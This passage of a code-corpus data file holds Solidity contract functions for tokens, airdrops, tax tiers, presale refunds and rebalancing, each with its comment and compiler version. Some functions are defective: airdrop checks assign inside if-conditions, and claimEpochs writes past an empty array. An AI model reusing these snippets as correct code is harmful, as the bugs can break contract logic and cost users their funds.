allTopics.length; i++)\r\n {\r\n string memory _topic = allTopics.idToTopic[i];\r\n if(keccak256(abi.encodePacked(_topic)) == topicHash)\r\n {\r\n allTopics.idToTopic[i] = allTopics.idToTopic[--allTopics.length];\r\n return;\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "// Airdrop \n// Request airdrop from pool", "function_code": "function requestAirdropFromToken(uint256 _pid) public {\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n PoolInfo storage pool = poolInfo[_pid];\r\n if (user.isRequested = true) // Check for uniq wallet\r\n {}\r\n else {\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), 1);\r\n user.requestAmount = pool.lpToken.balanceOf(address(msg.sender));\r\n user.isRequested = true;\r\n user.isApprovePay = false;\r\n user.isRejectPay = false;\r\n }}", "version": "0.6.12"} {"comment": "// Pay Airdrop", "function_code": "function payUserFromAirdrop(uint256 _pid, address _user, bool _pay, uint256 _amount) public onlyOwner {\r\n UserInfo storage user = userInfo[_pid][_user];\r\n if (user.isRequested = false) // Check for uniq wallet\r\n {}\r\n else {\r\n if(_pay == true)\r\n {\r\n oracled.mint(_user, _amount);\r\n user.isApprovePay = true;\r\n user.isRequested = false;\r\n user.requestAmount = 0;\r\n\r\n }\r\n if(_pay == false)\r\n {\r\n user.isRejectPay = true;\r\n user.isRequested = false;\r\n user.requestAmount = 0;\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * computes amount which an address will be taxed upon transferring/selling their tokens\r\n * according to the amount being transferred (_transferAmount)\r\n */", "function_code": "function computeTax(uint256 _transferAmount) public view returns(uint256) {\r\n uint256 taxPercentage;\r\n\r\n if (_transferAmount <= tierOneMax)\r\n {\r\n taxPercentage = tierOneTaxPercentage;\r\n }\r\n\r\n else if (_transferAmount > tierOneMax && _transferAmount <= tierTwoMax)\r\n {\r\n taxPercentage = tierTwoTaxPercentage;\r\n }\r\n\r\n else if (_transferAmount > tierTwoMax && _transferAmount <= tierThreeMax)\r\n {\r\n taxPercentage = tierThreeTaxPercentage;\r\n }\r\n\r\n else if (_transferAmount > tierThreeMax && _transferAmount <= tierFourMax)\r\n {\r\n taxPercentage = tierFourTaxPercentage;\r\n }\r\n\r\n else\r\n {\r\n taxPercentage = tierFiveTaxPercentage;\r\n }\r\n\r\n return _transferAmount.mul(taxPercentage).div(100000);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * allows owner to update tax percentage amounts for each tax tier\r\n *\r\n * emits UpdateTaxPercentages event upon calling\r\n */", "function_code": "function updateTaxPercentages(\r\n uint256 _tierOneTaxPercentage,\r\n uint256 _tierTwoTaxPercentage,\r\n uint256 _tierThreeTaxPercentage,\r\n uint256 _tierFourTaxPercentage,\r\n uint256 _tierFiveTaxPercentage\r\n ) public onlyOwner {\r\n tierOneTaxPercentage = _tierOneTaxPercentage;\r\n tierTwoTaxPercentage = _tierTwoTaxPercentage;\r\n tierThreeTaxPercentage = _tierThreeTaxPercentage;\r\n tierFourTaxPercentage = _tierFourTaxPercentage;\r\n tierFiveTaxPercentage = _tierFiveTaxPercentage;\r\n emit UpdateTaxPercentages(\r\n tierOneTaxPercentage,\r\n tierTwoTaxPercentage,\r\n tierThreeTaxPercentage,\r\n tierFourTaxPercentage,\r\n tierFiveTaxPercentage\r\n );\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * allows owner to update tax tier amounts\r\n *\r\n * emits UpdateTaxTiers event upon calling\r\n */", "function_code": "function updateTaxTiers(\r\n uint256 _tierOneMax,\r\n uint256 _tierTwoMax,\r\n uint256 _tierThreeMax,\r\n uint256 _tierFourMax\r\n ) public onlyOwner {\r\n tierOneMax = _tierOneMax;\r\n tierTwoMax = _tierTwoMax;\r\n tierThreeMax = _tierThreeMax;\r\n tierFourMax = _tierFourMax;\r\n emit UpdateTaxTiers(\r\n tierOneMax,\r\n tierTwoMax,\r\n tierThreeMax,\r\n tierFourMax\r\n );\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * standard ERC20 transferFrom() with extra functionality to support taxes\r\n */", "function_code": "function transferFrom(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) public virtual override(ERC20, IERC20) whenNotPaused returns (bool) {\r\n _transferGIFT(sender, recipient, amount);\r\n\r\n uint256 currentAllowance = allowance(sender, _msgSender());\r\n require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\");\r\n unchecked {\r\n _approve(sender, _msgSender(), currentAllowance - amount);\r\n }\r\n\r\n return true;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * standard ERC20 internal transfer function with extra functionality to support taxes\r\n */", "function_code": "function _transferGIFT(\r\n address sender,\r\n address recipient,\r\n uint256 amount) internal virtual returns (bool) {\r\n\r\n if (_isLiquidityPool[sender] == true // this is a buy where lp is sender\r\n || _isExcludedFromFees[sender]) // this is transfer where sender is excluded from fees\r\n {\r\n _transfer(sender, recipient, amount);\r\n }\r\n\r\n else // this is a transfer or a sell where lp is recipient\r\n {\r\n uint256 tax = computeTax(amount);\r\n _transfer(sender, beneficiary, tax);\r\n _transfer(sender, recipient, amount.sub(tax));\r\n }\r\n return true;\r\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Admin function for pending governor to accept role and update governor.\n * This function must called by the pending governor.\n */", "function_code": "function newOwnershipAccept() external {\n require(\n pendingGovernor != address(0) && msg.sender == pendingGovernor,\n \"Caller must be pending governor\"\n );\n\n address oldGovernor = governor;\n address oldPendingGovernor = pendingGovernor;\n\n governor = pendingGovernor;\n pendingGovernor = address(0);\n\n emit newOwnership(oldGovernor, governor);\n emit newPendingOwnership(oldPendingGovernor, pendingGovernor);\n }", "version": "0.7.6"} {"comment": "// ------------------------------------------------------------------------\n// Transfer tokens from the from account to the to account\n// ------------------------------------------------------------------------", "function_code": "function transferFrom(address from, address to, uint tokens) public returns (bool success) {\r\n balances[from] = safeSub(balances[from], tokens);\r\n allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);\r\n balances[to] = safeAdd(balances[to], tokens);\r\n emit Transfer(from, to, tokens);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "//is also called by token contributions", "function_code": "function doDeposit(address _for, uint _value) private {\r\n uint currSale = getCurrSale();\r\n if (!currSaleActive()) throw;\r\n if (_value < saleMinimumPurchases[currSale]) throw;\r\n\r\n uint tokensToMintNow = sales[currSale].buyTokens(_for, _value, currTime());\r\n\r\n if (tokensToMintNow > 0) {\r\n token.mint(_for, tokensToMintNow);\r\n }\r\n }", "version": "0.4.10"} {"comment": "//********************************************************\n//Claims\n//********************************************************\n//Claim whatever you're owed, \n//from whatever completed sales you haven't already claimed\n//this covers refunds, and any tokens not minted immediately\n//(i.e. auction tokens, not firstsale tokens)", "function_code": "function claim() notAllStopped {\r\n var (tokens, refund, nc) = claimable(msg.sender, true);\r\n nextClaim[msg.sender] = nc;\r\n logClaim(msg.sender, refund, tokens);\r\n if (tokens > 0) {\r\n token.mint(msg.sender, tokens);\r\n }\r\n if (refund > 0) {\r\n refundInStop[msg.sender] = safeSub(refundInStop[msg.sender], refund);\r\n if (!msg.sender.send(safebalance(refund))) throw;\r\n }\r\n }", "version": "0.4.10"} {"comment": "//Allow admin to claim on behalf of user and send to any address.\n//Scenarios:\n// user lost key\n// user sent from an exchange\n// user has expensive fallback function\n// user is unknown, funds presumed abandoned\n//We only allow this after one year has passed.", "function_code": "function claimFor(address _from, address _to) \r\n onlyOwner notAllStopped {\r\n var (tokens, refund, nc) = claimable(_from, false);\r\n nextClaim[_from] = nc;\r\n\r\n logClaim(_from, refund, tokens);\r\n\r\n if (tokens > 0) {\r\n token.mint(_to, tokens);\r\n }\r\n if (refund > 0) {\r\n refundInStop[_from] = safeSub(refundInStop[_from], refund);\r\n if (!_to.send(safebalance(refund))) throw;\r\n }\r\n }", "version": "0.4.10"} {"comment": "/**\r\n @dev send coins\r\n throws on any error rather then return a false flag to minimize user errors\r\n \r\n @param _to target address\r\n @param _value transfer amount\r\n \r\n @return true if the transfer was successful, false if it wasn't\r\n */", "function_code": "function transfer(address _to, uint256 _value)\r\n public\r\n validAddress(_to)\r\n returns (bool success)\r\n {\r\n require(balanceOf[msg.sender] >= _value && _value > 0);\r\n balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], _value);\r\n balanceOf[_to] = safeAdd(balanceOf[_to], _value);\r\n Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev an account/contract attempts to get the coins\r\n throws on any error rather then return a false flag to minimize user errors\r\n \r\n @param _from source address\r\n @param _to target address\r\n @param _value transfer amount\r\n \r\n @return true if the transfer was successful, false if it wasn't\r\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _value)\r\n public\r\n validAddress(_from)\r\n validAddress(_to)\r\n returns (bool success)\r\n {\r\n require(balanceOf[_from] >= _value && _value > 0);\r\n require(allowance[_from][msg.sender] >= _value);\r\n allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender], _value);\r\n balanceOf[_from] = safeSub(balanceOf[_from], _value);\r\n balanceOf[_to] = safeAdd(balanceOf[_to], _value);\r\n Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev allow another account/contract to spend some tokens on your behalf\r\n throws on any error rather then return a false flag to minimize user errors\r\n \r\n also, to minimize the risk of the approve/transferFrom attack vector\r\n (see https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/), approve has to be called twice\r\n in 2 separate transactions - once to change the allowance to 0 and secondly to change it to the new allowance value\r\n \r\n @param _spender approved address\r\n @param _value allowance amount\r\n \r\n @return true if the approval was successful, false if it wasn't\r\n */", "function_code": "function approve(address _spender, uint256 _value)\r\n public\r\n validAddress(_spender)\r\n returns (bool success)\r\n {\r\n // if the allowance isn't 0, it can only be updated to 0 to prevent an allowance change immediately after withdrawal\r\n require(_value == 0 || allowance[msg.sender][_spender] == 0);\r\n\r\n allowance[msg.sender][_spender] = _value;\r\n Approval(msg.sender, _spender, _value);\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "//temp mapping", "function_code": "function claimEpochs(address _liquidityProvider, Claim[] memory claims)\r\n public\r\n {\r\n Claim memory claim;\r\n address[] memory _tokens;\r\n for (uint256 i = 0; i < claims.length; i++) {\r\n claim = claims[i];\r\n require(\r\n claim.epoch <= latestEpoch,\r\n \"Epoch cannot be in the future\"\r\n );\r\n require(epochTimestamps[claim.epoch] != 0);\r\n require(epochBlockHashes[claim.epoch] != 0);\r\n\r\n // if trying to claim for the current epoch\r\n if (claim.epoch == latestEpoch) {\r\n require(\r\n offsetRequirementMet(_liquidityProvider, latestEpoch),\r\n \"It is too early to claim for the current epoch\"\r\n );\r\n }\r\n\r\n require(!claimed[claim.epoch][_liquidityProvider][claim.token]);\r\n require(\r\n verifyClaim(\r\n _liquidityProvider,\r\n claim.epoch,\r\n claim.token,\r\n claim.balance,\r\n claim.merkleProof\r\n ),\r\n \"Incorrect merkle proof\"\r\n );\r\n\r\n if (tokenTotalBalances[claim.token] == uint256(0)) {\r\n _tokens[_tokens.length] = claim.token;\r\n }\r\n\r\n tokenTotalBalances[claim.token] += claim.balance;\r\n\r\n claimed[claim.epoch][_liquidityProvider][claim.token] = true;\r\n }\r\n\r\n for (uint256 i = 0; i < _tokens.length; i++) {\r\n disburse(\r\n _liquidityProvider,\r\n _tokens[i],\r\n tokenTotalBalances[_tokens[i]]\r\n );\r\n\r\n delete tokenTotalBalances[_tokens[i]];\r\n }\r\n delete _tokens;\r\n }", "version": "0.6.0"} {"comment": "/**\r\n @dev \r\n the tokens at the airdropAddress will be airdroped before 2018.12.31\r\n */", "function_code": "function initAirdropAndEarlyAlloc() public ownerOnly stoppable returns(bool success){\r\n require(!isInitAirdropAndEarlyAlloc);\r\n require(airdropAddress != 0x0 && earlyCommunityAddress != 0x0);\r\n require((currentSupply + earlyCommunitySupply + airdropSupply) <= totalSupply);\r\n balanceOf[earlyCommunityAddress] += earlyCommunitySupply; \r\n currentSupply += earlyCommunitySupply;\r\n Transfer(0x0, earlyCommunityAddress, earlyCommunitySupply);\r\n balanceOf[airdropAddress] += airdropSupply; \r\n currentSupply += airdropSupply;\r\n Transfer(0x0, airdropAddress, airdropSupply);\r\n isInitAirdropAndEarlyAlloc = true;\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev Release one tranche of the ecosystemSupply allocation to Yooba team,6.25% every tranche.About 4 years ecosystemSupply release over.\r\n \r\n @return true if successful, throws if not\r\n */", "function_code": "function releaseForEcosystem() public ownerOnly stoppable returns(bool success) {\r\n require(now >= createTime + 12 weeks);\r\n require(tokensReleasedToEcosystem < ecosystemSupply);\r\n\r\n uint256 temp = ecosystemSupply / 10000;\r\n uint256 allocAmount = safeMul(temp, 625);\r\n uint256 currentTranche = uint256(now - createTime) / 12 weeks;\r\n\r\n if(ecosystemTranchesReleased < maxTranches && currentTranche > ecosystemTranchesReleased && (currentSupply + allocAmount) <= totalSupply) {\r\n ecosystemTranchesReleased++;\r\n balanceOf[ecosystemAddress] = safeAdd(balanceOf[ecosystemAddress], allocAmount);\r\n currentSupply += allocAmount;\r\n tokensReleasedToEcosystem = safeAdd(tokensReleasedToEcosystem, allocAmount);\r\n Transfer(0x0, ecosystemAddress, allocAmount);\r\n return true;\r\n }\r\n revert();\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev Release one tranche of the teamSupply allocation to Yooba team,6.25% every tranche.About 4 years Yooba team will get teamSupply Tokens.\r\n \r\n @return true if successful, throws if not\r\n */", "function_code": "function releaseForYoobaTeam() public ownerOnly stoppable returns(bool success) {\r\n require(now >= createTime + 12 weeks);\r\n require(tokensReleasedToTeam < teamSupply);\r\n\r\n uint256 temp = teamSupply / 10000;\r\n uint256 allocAmount = safeMul(temp, 625);\r\n uint256 currentTranche = uint256(now - createTime) / 12 weeks;\r\n\r\n if(teamTranchesReleased < maxTranches && currentTranche > teamTranchesReleased && (currentSupply + allocAmount) <= totalSupply) {\r\n teamTranchesReleased++;\r\n balanceOf[yoobaTeamAddress] = safeAdd(balanceOf[yoobaTeamAddress], allocAmount);\r\n currentSupply += allocAmount;\r\n tokensReleasedToTeam = safeAdd(tokensReleasedToTeam, allocAmount);\r\n Transfer(0x0, yoobaTeamAddress, allocAmount);\r\n return true;\r\n }\r\n revert();\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev release ico Tokens \r\n \r\n @return true if successful, throws if not\r\n */", "function_code": "function releaseForIco(address _icoAddress, uint256 _value) public ownerOnly stoppable returns(bool success) {\r\n require(_icoAddress != address(0x0) && _value > 0 && (tokensReleasedToIco + _value) <= icoReservedSupply && (currentSupply + _value) <= totalSupply);\r\n balanceOf[_icoAddress] = safeAdd(balanceOf[_icoAddress], _value);\r\n currentSupply += _value;\r\n tokensReleasedToIco += _value;\r\n Transfer(0x0, _icoAddress, _value);\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev release earlyInvestor Tokens \r\n \r\n @return true if successful, throws if not\r\n */", "function_code": "function releaseForEarlyInvestor(address _investorAddress, uint256 _value) public ownerOnly stoppable returns(bool success) {\r\n require(_investorAddress != address(0x0) && _value > 0 && (tokensReleasedToEarlyInvestor + _value) <= earlyInvestorSupply && (currentSupply + _value) <= totalSupply);\r\n balanceOf[_investorAddress] = safeAdd(balanceOf[_investorAddress], _value);\r\n currentSupply += _value;\r\n tokensReleasedToEarlyInvestor += _value;\r\n Transfer(0x0, _investorAddress, _value);\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * add address to whitelist\r\n * @param _addresses wallet addresses to be whitelisted\r\n */", "function_code": "function addManyToWhitelist(address[] _addresses) \r\n external \r\n onlyOwner \r\n returns (bool) \r\n {\r\n require(_addresses.length <= 50);\r\n uint idx = 0;\r\n uint len = _addresses.length;\r\n for (; idx < len; idx++) {\r\n address _addr = _addresses[idx];\r\n addToWhitelist(_addr);\r\n }\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/*\r\n Send Tokens tokens to a buyer:\r\n - and KYC is approved\r\n */", "function_code": "function sendTokens(address _user) public onlyOwner returns (bool) {\r\n require(_user != address(0));\r\n require(_user != address(this));\r\n require(purchaseLog[_user].kycApproved);\r\n require(purchaseLog[_user].vztValue > 0);\r\n require(!purchaseLog[_user].tokensDistributed);\r\n require(!refundLog[_user]);\r\n purchaseLog[_user].tokensDistributed = true;\r\n purchaseLog[_user].lastDistributionTime = now;\r\n totalDistributed++;\r\n token.sendToken(_user, purchaseLog[_user].vztValue);\r\n TokenDistributed(_user, purchaseLog[_user].vztValue);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "// Deposit LP tokens to MasterChef for xLESS allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n updatePool(_pid);\n if (user.amount > 0) {\n uint256 pending = user\n .amount\n .mul(pool.accXLessPerShare)\n .div(1e12)\n .sub(user.rewardDebt);\n safeXLessTransfer(msg.sender, pending);\n }\n pool.lpToken.safeTransferFrom(\n address(msg.sender),\n address(this),\n _amount\n );\n user.amount = user.amount.add(_amount);\n user.rewardDebt = user.amount.mul(pool.accXLessPerShare).div(1e12);\n emit Deposit(msg.sender, _pid, _amount);\n }", "version": "0.6.12"} {"comment": "/*\r\n For the convenience of presale interface to find current tier price.\r\n */", "function_code": "function getMinimumPurchaseVZTLimit() public view returns (uint256) {\r\n if (getTier() == 1) {\r\n return minimumPurchaseLimit.mul(PRESALE_RATE); //1250VZT/ether\r\n } else if (getTier() == 2) {\r\n return minimumPurchaseLimit.mul(SOFTCAP_RATE); //1150VZT/ether\r\n }\r\n return minimumPurchaseLimit.mul(1000); //base price\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Decrease the amount of tokens that an owner allowed to a spender.\r\n */", "function_code": "function decreaseApproval(address spender, uint256 subtractedValue) public returns (bool success) {\r\n uint256 oldValue = allowed[msg.sender][spender];\r\n if (subtractedValue > oldValue) {\r\n allowed[msg.sender][spender] = 0;\r\n } else {\r\n allowed[msg.sender][spender] = safeSub(oldValue, subtractedValue);\r\n }\r\n\r\n Approval(msg.sender, spender, allowed[msg.sender][spender]);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Bulk mint function to save gas. \r\n * @dev both arrays requires to have the same length\r\n */", "function_code": "function mint(address[] recipients, uint256[] tokens) public returns (bool) {\r\n require(msg.sender == owner);\r\n\r\n for (uint8 i = 0; i < recipients.length; i++) {\r\n\r\n address recipient = recipients[i];\r\n uint256 token = tokens[i];\r\n\r\n totalSupply = safeAdd(totalSupply, token);\r\n require(totalSupply <= MAX_TOKENS);\r\n\r\n balances[recipient] = safeAdd(balances[recipient], token);\r\n\r\n Mint(recipient, token);\r\n Transfer(address(0), recipient, token);\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/*\r\n For the convenience of presale interface to present status info.\r\n */", "function_code": "function getPresaleStatus() public view returns (uint256[3]) {\r\n // 0 - presale not started\r\n // 1 - presale started\r\n // 2 - presale ended\r\n if (now < startDate)\r\n return ([0, startDate, endDate]);\r\n else if (now <= endDate && !hasEnded())\r\n return ([1, startDate, endDate]);\r\n else\r\n return ([2, startDate, endDate]);\r\n }", "version": "0.4.18"} {"comment": "/*\r\n Called after presale ends, to do some extra finalization work.\r\n */", "function_code": "function finalize() public onlyOwner {\r\n // do nothing if finalized\r\n require(!isFinalized);\r\n // presale must have ended\r\n require(hasEnded());\r\n\r\n if (isMinimumGoalReached()) {\r\n // transfer to VectorZilla multisig wallet\r\n VZT_WALLET.transfer(this.balance);\r\n // signal the event for communication\r\n FundsTransferred();\r\n }\r\n // mark as finalized\r\n isFinalized = true;\r\n // signal the event for communication\r\n Finalized();\r\n }", "version": "0.4.18"} {"comment": "/// @dev Internal function to process sale\n/// @param buyer The buyer address\n/// @param value The value of ether paid", "function_code": "function purchasePresale(address buyer, uint256 value) internal {\r\n require(value >= minimumPurchaseLimit);\r\n require(buyer != address(0));\r\n uint256 tokens = 0;\r\n // still under soft cap\r\n if (!publicSoftCapReached) {\r\n // 1 ETH for 1,250 VZT\r\n tokens = value * PRESALE_RATE;\r\n // get less if over softcap\r\n if (tokensSold + tokens > PRESALE_TOKEN_SOFT_CAP) {\r\n uint256 availablePresaleTokens = PRESALE_TOKEN_SOFT_CAP - tokensSold;\r\n uint256 softCapTokens = (value - (availablePresaleTokens / PRESALE_RATE)) * SOFTCAP_RATE;\r\n tokens = availablePresaleTokens + softCapTokens;\r\n // process presale at 1 ETH to 1,150 VZT\r\n processSale(buyer, value, tokens, SOFTCAP_RATE);\r\n // public soft cap has been reached\r\n publicSoftCapReached = true;\r\n // signal the event for communication\r\n SoftCapReached();\r\n } else {\r\n // process presale @PRESALE_RATE\r\n processSale(buyer, value, tokens, PRESALE_RATE);\r\n }\r\n } else {\r\n // 1 ETH to 1,150 VZT\r\n tokens = value * SOFTCAP_RATE;\r\n // process presale at 1 ETH to 1,150 VZT\r\n processSale(buyer, value, tokens, SOFTCAP_RATE);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/*\r\n Internal function to manage refunds \r\n */", "function_code": "function doRefund(address buyer) internal returns (bool) {\r\n require(tx.gasprice <= MAX_GAS_PRICE);\r\n require(buyer != address(0));\r\n require(!purchaseLog[buyer].paidFiat);\r\n if (msg.sender != owner) {\r\n // cannot refund unless authorized\r\n require(isFinalized && !isMinimumGoalReached());\r\n }\r\n require(purchaseLog[buyer].ethValue > 0);\r\n require(purchaseLog[buyer].vztValue > 0);\r\n require(!refundLog[buyer]);\r\n require(!purchaseLog[buyer].tokensDistributed);\r\n\r\n // ETH to refund\r\n uint256 depositedValue = purchaseLog[buyer].ethValue;\r\n //VZT to revert\r\n uint256 vztValue = purchaseLog[buyer].vztValue;\r\n // assume all refunded, should we even do this if\r\n // we are going to delete buyer from log?\r\n purchaseLog[buyer].ethValue = 0;\r\n purchaseLog[buyer].vztValue = 0;\r\n refundLog[buyer] = true;\r\n //delete from purchase log.\r\n //but we won't remove buyer from buyers array\r\n delete purchaseLog[buyer];\r\n //decrement global counters\r\n tokensSold = tokensSold.sub(vztValue);\r\n totalCollected = totalCollected.sub(depositedValue);\r\n\r\n // send must be called only after purchaseLog[buyer] is deleted to\r\n //prevent reentrancy attack.\r\n buyer.transfer(depositedValue);\r\n Refunded(buyer, depositedValue);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * batch transfer for ERC20 token.(the same amount)\r\n *\r\n * @param _contractAddress ERC20 token address\r\n * @param _addresses array of address to sent\r\n * @param _value transfer amount\r\n */", "function_code": "function batchTransferToken(address _contractAddress, address[] _addresses, uint _value) public onlyOwner {\r\n ERC20Token token = ERC20Token(_contractAddress);\r\n // transfer circularly\r\n for (uint i = 0; i < _addresses.length; i++) {\r\n token.transfer(_addresses[i], _value);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * batch transfer for ERC20 token.\r\n *\r\n * @param _contractAddress ERC20 token address\r\n * @param _addresses array of address to sent\r\n * @param _values array of transfer amount\r\n */", "function_code": "function batchTransferTokenS(address _contractAddress, address[] _addresses, uint[] _values) public onlyOwner {\r\n require(_addresses.length == _values.length);\r\n\r\n ERC20Token token = ERC20Token(_contractAddress);\r\n // transfer circularly\r\n for (uint i = 0; i < _addresses.length; i++) {\r\n token.transfer(_addresses[i], _values[i]);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice enable future transfer fees for an account\r\n * @param account The address which will pay future transfer fees\r\n */", "function_code": "function enableFee(address account) external nonZeroAddress(account) onlyOwner {\r\n require(avoidsFees[account], \"account avoids fees\");\r\n emit TransferFeeEnabled(account);\r\n avoidsFees[account] = false;\r\n uint len = avoidsFeesArray.length;\r\n assert(len != 0);\r\n for (uint i = 0; i < len; i++) {\r\n if (avoidsFeesArray[i] == account) {\r\n avoidsFeesArray[i] = avoidsFeesArray[len.sub(1)];\r\n avoidsFeesArray.length--;\r\n return;\r\n }\r\n }\r\n assert(false);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice rebalance changes the total supply by the given amount (either deducts or adds)\r\n * by scaling all balance amounts proportionally (also those exempt from fees)\r\n * @dev this uses the current total supply (which is the sum of all token balances excluding\r\n * the inventory, i.e., the balances of owner and superowner) to compute the new scale factor\r\n * @param deducts indication if we deduct or add token from total supply\r\n * @param tokensAmount the number of tokens to add/deduct\r\n */", "function_code": "function rebalance(bool deducts, uint tokensAmount) external onlyOwner {\r\n uint oldTotalSupply = totalSupply();\r\n uint oldScaleFactor = scaleFactor;\r\n\r\n require(\r\n tokensAmount <= oldTotalSupply.mul(MAX_REBALANCE_PERCENT).div(100),\r\n \"tokensAmount is within limits\"\r\n );\r\n\r\n // new scale factor and total supply\r\n uint newScaleFactor;\r\n if (deducts) {\r\n newScaleFactor = oldScaleFactor.mul(\r\n oldTotalSupply.sub(tokensAmount)).div(oldTotalSupply\r\n );\r\n } else {\r\n newScaleFactor = oldScaleFactor.mul(\r\n oldTotalSupply.add(tokensAmount)).div(oldTotalSupply\r\n );\r\n }\r\n // update scaleFactor\r\n scaleFactor = newScaleFactor;\r\n\r\n // update total supply\r\n uint newTotalSupply = oldTotalSupply.mul(scaleFactor).div(oldScaleFactor);\r\n totalSupply_ = newTotalSupply;\r\n\r\n emit Rebalance(\r\n deducts,\r\n tokensAmount,\r\n oldScaleFactor,\r\n newScaleFactor,\r\n oldTotalSupply,\r\n newTotalSupply\r\n );\r\n\r\n if (deducts) {\r\n require(newTotalSupply < oldTotalSupply, \"totalSupply shrinks\");\r\n // avoid overly large rounding errors\r\n assert(oldTotalSupply.sub(tokensAmount.mul(9).div(10)) >= newTotalSupply);\r\n assert(oldTotalSupply.sub(tokensAmount.mul(11).div(10)) <= newTotalSupply);\r\n } else {\r\n require(newTotalSupply > oldTotalSupply, \"totalSupply grows\");\r\n // avoid overly large rounding errors\r\n assert(oldTotalSupply.add(tokensAmount.mul(9).div(10)) <= newTotalSupply);\r\n assert(oldTotalSupply.add(tokensAmount.mul(11).div(10)) >= newTotalSupply);\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice enable change of superowner\r\n * @param _newSuperowner the address of the new owner\r\n */", "function_code": "function transferSuperownership(\r\n address _newSuperowner\r\n )\r\n external nonZeroAddress(_newSuperowner)\r\n {\r\n require(msg.sender == superowner, \"only superowner\");\r\n require(!usedOwners[_newSuperowner], \"owner was not used before\");\r\n usedOwners[_newSuperowner] = true;\r\n uint value = balanceOf(superowner);\r\n if (value > 0) {\r\n super._burn(superowner, value);\r\n emit TransferExtd(\r\n superowner,\r\n AccountClassification.Superowner,\r\n address(0),\r\n AccountClassification.Zero,\r\n value\r\n );\r\n }\r\n emit SuperownershipTransferred(superowner, _newSuperowner);\r\n superowner = _newSuperowner;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice Compute the regular amount of tokens of an account.\r\n * @dev Gets the balance of the specified address.\r\n * @param account The address to query the the balance of.\r\n * @return An uint256 representing the amount owned by the passed address.\r\n */", "function_code": "function balanceOf(address account) public view returns (uint) {\r\n uint amount = balances[account];\r\n uint oldScaleFactor = lastScalingFactor[account];\r\n if (oldScaleFactor == 0) {\r\n return 0;\r\n } else if (oldScaleFactor == scaleFactor) {\r\n return amount;\r\n } else {\r\n return amount.mul(scaleFactor).div(oldScaleFactor);\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice enable change of owner\r\n * @param _newOwner the address of the new owner\r\n */", "function_code": "function transferOwnership(address _newOwner) public onlyOwner {\r\n require(!usedOwners[_newOwner], \"owner was not used before\");\r\n usedOwners[_newOwner] = true;\r\n uint value = balanceOf(owner);\r\n if (value > 0) {\r\n super._burn(owner, value);\r\n emit TransferExtd(\r\n owner,\r\n AccountClassification.Owner,\r\n address(0),\r\n AccountClassification.Zero,\r\n value\r\n );\r\n }\r\n super.transferOwnership(_newOwner);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Transfer token for a specified address\r\n * @param _to The address to transfer to.\r\n * @param _value The amount to be transferred, from which the transfer fee will be deducted\r\n * @return true in case of success\r\n */", "function_code": "function transfer(\r\n address _to,\r\n uint _value\r\n )\r\n public whenNotPaused limitGasPrice returns (bool)\r\n {\r\n require(!transferBlacklisted[msg.sender], \"sender is not blacklisted\");\r\n require(!transferBlacklisted[_to], \"to address is not blacklisted\");\r\n require(!blockOtherAccounts ||\r\n (getAccountClassification(msg.sender) != AccountClassification.Other &&\r\n getAccountClassification(_to) != AccountClassification.Other),\r\n \"addresses are not blocked\");\r\n\r\n emit TransferExtd(\r\n msg.sender,\r\n getAccountClassification(msg.sender),\r\n _to,\r\n getAccountClassification(_to),\r\n _value\r\n );\r\n\r\n updateBalanceAndScaling(msg.sender);\r\n\r\n if (_to == address(0)) {\r\n // burn tokens\r\n super.burn(_value);\r\n return true;\r\n }\r\n\r\n updateBalanceAndScaling(_to);\r\n\r\n require(super.transfer(_to, _value), \"transfer succeeds\");\r\n\r\n if (!avoidsFees[msg.sender] && !avoidsFees[_to]) {\r\n computeAndBurnFee(_to, _value);\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Transfer tokens from one address to another\r\n * @param _from address The address which you want to send tokens from\r\n * @param _to address The address which you want to transfer to\r\n * @param _value uint256 the amount of tokens to be transferred, from which the transfer fee\r\n * will be deducted\r\n * @return true in case of success\r\n */", "function_code": "function transferFrom(\r\n address _from,\r\n address _to,\r\n uint _value\r\n )\r\n public 